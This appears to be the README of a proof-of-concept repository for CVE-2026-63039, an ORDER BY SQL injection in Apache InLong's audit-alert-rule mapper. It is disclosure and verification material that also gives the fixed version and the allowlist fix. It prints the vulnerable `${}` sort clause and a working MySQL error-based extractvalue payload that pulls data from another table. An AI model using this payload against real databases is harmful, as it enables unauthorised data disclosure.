## https://sploitus.com/exploit?id=96092C5C-BB02-5250-997B-EECBDEC93F33
# CVE-2026-63039 — Apache InLong `AuditAlertRule` ORDER BY SQL injection
Runnable proof-of-concept reproducer for the SQL injection in Apache InLong's audit-alert-rule query.
The InLong manager mapper `AuditAlertRuleEntityMapper.selectByCondition` filters with safe MyBatis `#{}`
parameters, but sorts with **`${}` string interpolation** of two request fields:
```xml
order by ${request.orderField} ${request.orderType}
```
`orderField` and `orderType` come from the paged request (`AuditAlertRulePageRequest`), so they are
attacker-controlled and are concatenated verbatim into the SQL — ORDER BY SQL injection (CWE-89). This PoC injects
a MySQL error-based payload into `orderField` and reads a secret out of an **unrelated table**, demonstrating
arbitrary data disclosure.
## Run
```bash
mvn -q -DskipTests package
docker compose up --build # starts MySQL, seeds it, runs the one-shot PoC
docker compose down -v
```
Expected output on the vulnerable code path:
```
[1] Benign request (orderField='id', orderType='ASC'): 3 rows
AuditAlertRule{id=1, inlongGroupId=group_a, alertName=latency rule}
...
[2] Malicious request (orderField = error-based payload):
orderField = extractvalue(1,concat(0x7e,(select secret_value from manager_secrets limit 1)))
extracted from another table via the injected subquery: INLONG-SECRET-63039
>>> PROVEN: ... ORDER BY SQL injection (CWE-89): true
```
## Vulnerability Summary
| Property | Value |
|----------|-------|
| **Project** | Apache InLong — manager (`AuditAlertRuleService` / `AuditAlertRuleEntityMapper`) |
| **Class** | CWE-89 Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') |
| **Attack vector** | The `orderField` / `orderType` fields of an audit-alert-rule page request |
| **Impact** | Arbitrary SQL execution / data disclosure against the InLong manager database |
| **Affected Versions** | from 2.0.0 before 2.4.0 |
| **Fixed Version** | 2.4.0 |
| **Advisory** | [CVE-2026-63039](https://vulners.com/cve/CVE-2026-63039) |
| **Credit** | Andrea Cosentino |
## The fix
Apache InLong 2.4.0 validates `orderField` / `orderType` against an allowlist of known sortable columns and
directions before they reach the mapper (an `ORDER BY` column name cannot be bound as a `#{}` parameter, so the
sort inputs must be validated rather than parameterised).
The MyBatis mapper, entity and request pojo in this repository mirror the InLong originals so the injection sink
(`order by ${request.orderField} ${request.orderType}`) is reproduced verbatim.
## Disclaimer
This repository is published for educational and defensive purposes: to help Apache InLong users understand the
vulnerability, verify whether they are affected, and confirm that upgrading resolves it. The payload only reads a
demo secret from a local table. Do not use this material against systems you do not own or operate.